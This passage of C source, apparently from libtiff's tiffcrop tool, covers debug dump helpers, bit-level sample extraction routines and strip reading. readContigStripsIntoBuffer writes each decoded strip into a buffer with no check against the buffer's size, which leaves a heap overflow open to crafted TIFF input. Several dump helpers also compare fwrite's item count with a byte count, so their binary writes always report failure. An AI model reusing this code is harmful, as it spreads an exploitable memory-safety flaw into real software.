if (image_count == 0) dirnum++; else { dirnum = (tdir_t)(imagelist[next_image] - 1); next_image++; } if (dirnum == MAX_IMAGES - 1) dirnum = TIFFNumberOfDirectories(in) - 1; if (!TIFFSetDirectory(in, (tdir_t)dirnum)) end_of_input = TRUE; } TIFFClose(in); optind++; } /* If we did not use the read buffer as the crop buffer */ if (read_buff) _TIFFfree(read_buff); if (crop_buff) _TIFFfree(crop_buff); if (sect_buff) _TIFFfree(sect_buff); /* Clean up any segment buffers used for zones or regions */ for (seg = 0; seg < crop.selections; seg++) _TIFFfree (seg_buffs[seg].buffer); if (dump.format != DUMP_NONE) { if (dump.infile != NULL) fclose (dump.infile); if (dump.outfile != NULL) { dump_info (dump.outfile, dump.format, "", "Completed run for %s", TIFFFileName(out)); fclose (dump.outfile); } } TIFFClose(out); return (0); } /* end main */ /* Debugging functions */ static int dump_data (FILE *dumpfile, int format, char *dump_tag, unsigned char *data, uint32 count) { int j, k; uint32 i; char dump_array[10]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (i = 0; i < count; i++) { for (j = 0, k = 7; j < 8; j++, k--) { bitset = (*(data + i)) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); } dump_array[8] = '\0'; fprintf (dumpfile," %s", dump_array); } fprintf (dumpfile,"\n"); } else { if ((fwrite (data, 1, count, dumpfile)) != count) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_byte (FILE *dumpfile, int format, char *dump_tag, unsigned char data) { int j, k; char dump_array[10]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 7; j < 8; j++, k--) { bitset = data & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); } dump_array[8] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 1, 1, dumpfile)) != 1) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_short (FILE *dumpfile, int format, char *dump_tag, uint16 data) { int j, k; char dump_array[20]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 15; k >= 0; j++, k--) { bitset = data & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[17] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 2, 1, dumpfile)) != 2) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_long (FILE *dumpfile, int format, char *dump_tag, uint32 data) { int j, k; char dump_array[40]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 31; k >= 0; j++, k--) { bitset = data & (((uint32)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[35] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 4, 1, dumpfile)) != 4) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_wide (FILE *dumpfile, int format, char *dump_tag, uint64 data) { int j, k; char dump_array[80]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 63; k >= 0; j++, k--) { bitset = data & (((uint64)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[71] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 8, 1, dumpfile)) != 8) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static void dump_info(FILE *dumpfile, int format, char *prefix, char *msg, ...) { if (format == DUMP_TEXT) { va_list ap; va_start(ap, msg); fprintf(dumpfile, "%s ", prefix); vfprintf(dumpfile, msg, ap); fprintf(dumpfile, "\n"); va_end(ap); } } static int dump_buffer (FILE* dumpfile, int format, uint32 rows, uint32 width, uint32 row, unsigned char *buff) { int j, k; uint32 i; unsigned char * dump_ptr; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } for (i = 0; i < rows; i++) { dump_ptr = buff + (i * width); if (format == DUMP_TEXT) dump_info (dumpfile, format, "", "Row %4d, %d bytes at offset %d", row + i + 1, width, row * width); for (j = 0, k = width; k >= 10; j += 10, k -= 10, dump_ptr += 10) dump_data (dumpfile, format, "", dump_ptr, 10); if (k > 0) dump_data (dumpfile, format, "", dump_ptr, k); } return (0); } /* Extract one or more samples from an interleaved buffer. If count == 1, * only the sample plane indicated by sample will be extracted. If count > 1, * count samples beginning at sample will be extracted. Portions of a * scanline can be extracted by specifying a start and end value. */ static int extractContigSamplesBytes (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int i, bytes_per_sample, sindex; uint32 col, dst_rowsize, bit_offset; uint32 src_byte /*, src_bit */; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesBytes","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesBytes", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesBytes", "Invalid end column value %d ignored", end); end = cols; } dst_rowsize = (bps * (end - start) * count) / 8; bytes_per_sample = (bps + 7) / 8; /* Optimize case for copying all samples */ if (count == spp) { src = in + (start * spp * bytes_per_sample); _TIFFmemcpy (dst, src, dst_rowsize); } else { for (col = start; col < end; col++) { for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { bit_offset = col * bps * spp; if (sindex == 0) { src_byte = bit_offset / 8; /* src_bit = bit_offset % 8; */ } else { src_byte = (bit_offset + (sindex * bps)) / 8; /* src_bit = (bit_offset + (sindex * bps)) % 8; */ } src = in + src_byte; for (i = 0; i < bytes_per_sample; i++) *dst++ = *src++; } } } return (0); } /* end extractContigSamplesBytes */ static int extractContigSamples8bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamples8bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples8bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples8bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } else buff2 = (buff2 | (buff1 >> ready_bits)); ready_bits += bps; } } while (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; ready_bits -= 8; } return (0); } /* end extractContigSamples8bits */ static int extractContigSamples16bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamples16bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples16bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples16bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint16)-1 >> (16 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 8) /* add another bps bits to the buffer */ { bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; } return (0); } /* end extractContigSamples16bits */ static int extractContigSamples24bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamples24bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples24bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples24bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint32)-1 >> ( 32 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 16) /* add another bps bits to the buffer */ { bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end extractContigSamples24bits */ static int extractContigSamples32bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0 /*, shift_width = 0 */; uint32 col, src_byte, src_bit, bit_offset; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamples32bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples32bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples32bits", "Invalid end column value %d ignored", end); end = cols; } /* shift_width = ((bps + 7) / 8) + 1; */ ready_bits = 0; maskbits = (uint64)-1 >> ( 64 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end extractContigSamples32bits */ static int extractContigSamplesShifted8bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesShifted8bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted8bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted8bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*src) & matchbits) << (src_bit); if ((col == start) && (sindex == sample)) buff2 = *src & ((uint8)-1) << (shift); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ |= buff2; buff2 = buff1; ready_bits -= 8; } else buff2 = buff2 | (buff1 >> ready_bits); ready_bits += bps; } } while (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted8bits */ static int extractContigSamplesShifted16bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesShifted16bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted16bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted16bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint16)-1 >> (16 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; if ((col == start) && (sindex == sample)) buff2 = buff1 & ((uint16)-1) << (8 - shift); buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 8) /* add another bps bits to the buffer */ buff2 = buff2 | (buff1 >> ready_bits); else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted16bits */ static int extractContigSamplesShifted24bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamplesShifted24bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted24bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted24bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint32)-1 >> ( 32 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; if ((col == start) && (sindex == sample)) buff2 = buff1 & ((uint32)-1) << (16 - shift); buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 16) /* add another bps bits to the buffer */ { bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted24bits */ static int extractContigSamplesShifted32bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0 /*, shift_width = 0 */; uint32 col, src_byte, src_bit, bit_offset; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamplesShifted32bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted32bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted32bits", "Invalid end column value %d ignored", end); end = cols; } /* shift_width = ((bps + 7) / 8) + 1; */ ready_bits = shift; maskbits = (uint64)-1 >> ( 64 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; if ((col == start) && (sindex == sample)) buff2 = buff3 & ((uint64)-1) << (32 - shift); buff1 = (buff3 & matchbits) << (src_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted32bits */ static int extractContigSamplesToBuffer(uint8 *out, uint8 *in, uint32 rows, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, struct dump_opts *dump) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, src_offset, row, first_col = 0; uint32 dst_rowsize, dst_offset; tsample_t count = 1; uint8 *src, *dst; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } src_rowsize = ((bps * spp * cols) + 7) / 8; dst_rowsize = ((bps * cols) + 7) / 8; if ((dump->outfile != NULL) && (dump->level == 4)) { dump_info (dump->outfile, dump->format, "extractContigSamplesToBuffer", "Sample %d, %d rows", sample + 1, rows + 1); } for (row = 0; row < rows; row++) { src_offset = row * src_rowsize; dst_offset = row * dst_rowsize; src = in + src_offset; dst = out + dst_offset; /* pack the data into the scanline */ switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 1: if (bps == 1) { if (extractContigSamples8bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; } else if (extractContigSamples16bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 2: if (extractContigSamples24bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 3: case 4: case 5: if (extractContigSamples32bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; default: TIFFError ("extractContigSamplesToBuffer", "Unsupported bit depth: %d", bps); return (1); } if ((dump->outfile != NULL) && (dump->level == 4)) dump_buffer(dump->outfile, dump->format, 1, dst_rowsize, row, dst); } return (0); } /* end extractContigSamplesToBuffer */ static int extractContigSamplesToTileBuffer(uint8 *out, uint8 *in, uint32 rows, uint32 cols, uint32 imagewidth, uint32 tilewidth, tsample_t sample, uint16 count, uint16 spp, uint16 bps, struct dump_opts *dump) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, src_offset, row; uint32 dst_rowsize, dst_offset; uint8 *src, *dst; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } if ((dump->outfile != NULL) && (dump->level == 4)) { dump_info (dump->outfile, dump->format, "extractContigSamplesToTileBuffer", "Sample %d, %d rows", sample + 1, rows + 1); } src_rowsize = ((bps * spp * imagewidth) + 7) / 8; dst_rowsize = ((bps * tilewidth * count) + 7) / 8; for (row = 0; row < rows; row++) { src_offset = row * src_rowsize; dst_offset = row * dst_rowsize; src = in + src_offset; dst = out + dst_offset; /* pack the data into the scanline */ switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 1: if (bps == 1) { if (extractContigSamples8bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; } else if (extractContigSamples16bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 2: if (extractContigSamples24bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 3: case 4: case 5: if (extractContigSamples32bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; default: TIFFError ("extractContigSamplesToTileBuffer", "Unsupported bit depth: %d", bps); return (1); } if ((dump->outfile != NULL) && (dump->level == 4)) dump_buffer(dump->outfile, dump->format, 1, dst_rowsize, row, dst); } return (0); } /* end extractContigSamplesToTileBuffer */ static int readContigStripsIntoBuffer (TIFF* in, uint8* buf) { uint8* bufp = buf; int32 bytes_read = 0; uint16 strip, nstrips = TIFFNumberOfStrips(in); uint32 stripsize = TIFFStripSize(in); uint32 rows = 0; uint32 rps = TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps); tsize_t scanline_size = TIFFScanlineSize(in); if (scanline_size == 0) { TIFFError("", "TIFF scanline size is zero!"); return 0; } for (strip = 0; strip < nstrips; strip++) { bytes_read = TIFFReadEncodedStrip (in, strip, bufp, -1); rows = bytes_read / scanline_size; if ((strip < (nstrips - 1)) && (bytes_read != (int32)stripsize)) TIFFError("", "Strip %d: read %lu bytes, strip size %lu", (int)strip + 1, (unsigned long) bytes_read, (unsigned long)stripsize); if (bytes_read < 0 && !ignore) { TIFFError("", "Error reading strip %lu after %lu rows", (unsigned long) strip, (unsigned long)rows); return 0; } bufp += bytes_read; } return 1; } /* end readContigStripsIntoBuffer */ static int combineSeparateSamplesBytes (unsigned char *srcbuffs[], unsigned char *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int i, bytes_per_sample; uint32 row, col, col_offset, src_rowsize, dst_rowsize, row_offset; unsigned char *src; unsigned char *dst; tsample_t s; src = srcbuffs[0]; dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamplesBytes","Invalid buffer address"); return (1); } bytes_per_sample = (bps + 7) / 8; src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * spp * cols) + 7) / 8; for (row = 0; row < rows; row++) { if ((dumpfile != NULL) && (level == 2)) { for (s = 0; s < spp; s++) { dump_info (dumpfile, format, "combineSeparateSamplesBytes","Input data, Sample %d", s); dump_buffer(dumpfile, format, 1, cols, row, srcbuffs[s] + (row * src_rowsize)); } } dst = out + (row * dst_rowsize); row_offset = row * src_rowsize; for (col = 0; col < cols; col++) { col_offset = row_offset + (col * (bps / 8)); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = srcbuffs[s] + col_offset; for (i = 0; i < bytes_per_sample; i++) *(dst + i) = *(src + i); src += bytes_per_sample; dst += bytes_per_sample; } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamplesBytes","Output data, combined samples"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamplesBytes */ static int combineSeparateSamples8bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; /* int bytes_per_sample = 0; */ uint32 src_rowsize, dst_rowsize, src_offset; uint32 bit_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char 